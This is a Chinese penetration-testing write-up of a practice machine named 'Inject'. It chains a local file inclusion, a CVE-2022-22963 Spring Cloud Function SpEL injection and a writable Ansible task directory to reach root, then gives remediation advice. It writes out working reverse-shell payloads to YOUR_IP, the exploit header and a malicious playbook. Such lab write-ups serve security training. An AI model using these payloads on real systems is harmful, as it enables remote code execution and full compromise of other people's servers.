利用lfl文件包含发现CVE-2022-22963拿到root
字数 1811 2025-08-24 07:48:10
利用LFL文件包含漏洞及CVE-2022-22963获取Root权限的完整渗透测试指南
1. 目标概述
本次渗透测试的目标是一个名为"Inject"的简单难度Linux机器,通过以下步骤获取root权限:
- 发现并利用本地文件包含(LFL)漏洞
- 利用Spring-Cloud-Function-Web的CVE-2022-22963漏洞建立初始访问
- 通过枚举发现用户明文密码
- 利用Ansible cronjob计划任务执行恶意命令提权
2. 初始信息收集
2.1 端口扫描
使用Nmap进行快速扫描:
nmap -min-rate 10000 -p- -T4 10.10.11.204
扫描结果:
- 22/tcp open ssh
- 8080/tcp open http-proxy
3. Web应用分析
3.1 文件上传功能
发现网站具有文件上传功能:
- 上传非图片文件会被拒绝,提示"只接受图像文件!"
- 上传正常图片后会返回图片链接,如:
http://10.10.11.204:8080/show_image?img=Inject.png
3.2 本地文件包含(LFL)漏洞发现
访问图片的URL格式为/show_image?img=文件名,可能存在本地文件包含漏洞。
本地文件包含(LFI)漏洞原理:
- 当应用程序使用用户提供的输入来构造文件路径时,未进行适当验证和过滤
- 攻击者可以通过注入特定文件路径(如
../或绝对路径)访问系统敏感文件
漏洞验证:
尝试访问:
http://10.10.11.204:8080/show_image?img=/etc/passwd
成功读取到/etc/passwd文件内容,确认存在LFI漏洞。
4. 深入利用LFI漏洞
4.1 枚举文件系统
通过LFI漏洞枚举关键文件:
/var/www/- Web应用常用目录/var/www/WebApp/pom.xml- 发现应用使用Spring-Cloud-Function-Web
4.2 发现CVE-2022-22963漏洞
通过分析pom.xml文件,发现应用使用易受攻击版本的Spring-Cloud-Function-Web,存在CVE-2022-22963漏洞。
5. 利用CVE-2022-22963获取初始访问
5.1 漏洞利用步骤
- 准备反向Shell命令:
echo -n "bash -i >& /dev/tcp/YOUR_IP/1337 0>&1" | base64
- 构造恶意POST请求发送到
/functionRouter端点,包含以下头部:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YOUR_BASE64_ENCODED_COMMAND}|{base64,-d}|{bash,-i}")
- 本地启动监听:
nc -lvnp 1337
- 使用Burp Suite发送构造的恶意请求,获取反向Shell。
6. 横向移动
6.1 枚举系统信息
在/home/frank/.m2目录下发现phil用户的明文密码。
6.2 切换用户
su phil
使用发现的密码切换到phil用户。
7. 权限提升
7.1 使用pspy监控进程
- 本地搭建HTTP服务:
python3 -m http.server 80
- 目标机下载pspy:
wget http://YOUR_IP/pspy64
chmod +x pspy64
./pspy64
- 发现每2分钟运行的cronjob,执行Ansible任务:
/usr/local/bin/ansible-parallel执行/opt/automation/tasks下的*.yml文件- 从root目录复制
playbook_1.yml
7.2 Ansible基础知识
Ansible核心概念:
- 使用YAML格式的Playbooks描述系统状态和配置
- 无需客户端代理,通过SSH远程执行
- 模块化架构,丰富的内置模块
- 主要用于配置管理、应用部署和任务编排
7.3 利用Ansible提权
- 检查
/opt/automation/tasks目录权限:
ls -al /opt/automation/tasks
发现当前用户有读写权限。
- 创建恶意Playbook:
hosts: localhost
tasks:
- name: Checking webapp service
shell: bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
- 本地启动新监听:
nc -lvnp 4444
- 等待cronjob执行(约2分钟),获取root权限的反向Shell。
8. 漏洞修复建议
8.1 修复LFI漏洞
- 对用户输入进行严格验证和过滤
- 使用白名单机制限制可访问文件
- 使用安全的文件访问函数和API
- 最小化应用程序对文件系统的访问权限
8.2 修复其他问题
- 避免存储明文密码
- 按照最小权限原则设置
/opt/automation/tasks目录权限 - 及时更新易受攻击的Spring-Cloud-Function-Web组件
9. 总结
本次渗透测试展示了从外部攻击到获取root权限的完整链条:
- 通过文件上传功能发现LFI漏洞
- 利用LFI枚举系统信息发现Spring漏洞
- 利用CVE-2022-22963获取初始访问
- 通过枚举发现凭证实现横向移动
- 利用配置不当的Ansible任务实现权限提升
关键点在于全面的信息收集、漏洞链的串联利用以及对系统配置的深入理解。